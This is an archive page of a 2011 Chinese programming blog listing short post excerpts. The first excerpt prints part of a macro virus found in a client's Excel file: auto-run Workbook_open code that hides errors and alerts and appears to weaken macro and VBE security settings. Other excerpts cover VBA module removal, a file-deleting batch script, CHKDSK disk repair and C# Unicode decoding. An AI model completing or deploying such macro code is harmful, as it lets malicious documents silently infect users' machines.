|
|||
09 2011 档案
摘要：今天很恶心，碰到一个客户发来的excel有恶意代码，恶心，恶心在thisworkbook 中的代码Public WithEvents xx As ApplicationPrivate Sub Workbook_open()Set xx = ApplicationOn Error Resume NextIf Sheets(1).Name <> "Macro1" ThenCall auto_openEnd IfApplication.DisplayAlerts = FalseSecurity (1)Call SetAllowableVbeCall Microsoft
阅读全文
posted @ 2011-09-27 18:11
摘要：本来可以很简单的删除Dim vbc As ObjectSet vbc = ThisWorkbook.VBProject.VBComponents("模块1")ThisWorkbook.VBProject.VBComponents.Remove vbc但由于asp.net 用户权限的问题，不能如愿于是想了个新办法在运行宏后最后加了一段代码Dim n As StringDim n1 As Stringn1 = LCase(Workbooks(1).FullName)n = Replace(n1, ".xls", "--") & &
阅读全文
posted @ 2011-09-27 18:04
摘要：@echo offset/p a=(把文件拖到本窗口回车删除，取消请关闭批处理) del %a% /q /f&cls@echo 已经删除任意键退出吧！&pause>nul 2>nul
阅读全文
posted @ 2011-09-18 10:52
摘要：看了下，安全模式也无法启动，启动到一半时自动重启，使用上次正确配置也无法启动，反复如此。无奈进入winpe ，资源管理器打开巨慢！！在cmd下 打开Ｃ盘，发现出现错误“执行页内操作时的错误”，基本确认是硬盘文件问题了。在网上找了下资料，CHKDSK C: /F 基本可以解决。根据损坏文件的不同，可能后续状态不同，反正是可以进系统了。我的IE损坏了，打开时报 0x5ddfddac”指令引用的“0x00000020”内存，该内存不能为read升级和修复都没用。后来再进入到winpe 连续两次CHKDSK C: /F ，终于好了。。贴一个案例：今天在学校的机器上使用的心爱的移动硬盘（主要是里面的东西
阅读全文
posted @ 2011-09-06 11:38
摘要：网上并没有太多完整的代码，只是对单字进行解码，或连续编码的解码，但如果中间插有字符或数字，就挂了贴一小段代码，可以解决了，原理其实就是以4个字符中一组，进行解码privateStringDecodeUnicode(StringdataStr){Regexreg=newRegex(@"(?i)\\[uU]([0-9a-f]{4})");returnreg.Replace(dataStr,delegate(Matchm){return((char)Convert.ToInt32(m.Groups[1].Value,16)).ToString();});}顺便说下，博客园的发文的
阅读全文
posted @ 2011-09-05 10:27
|
|||
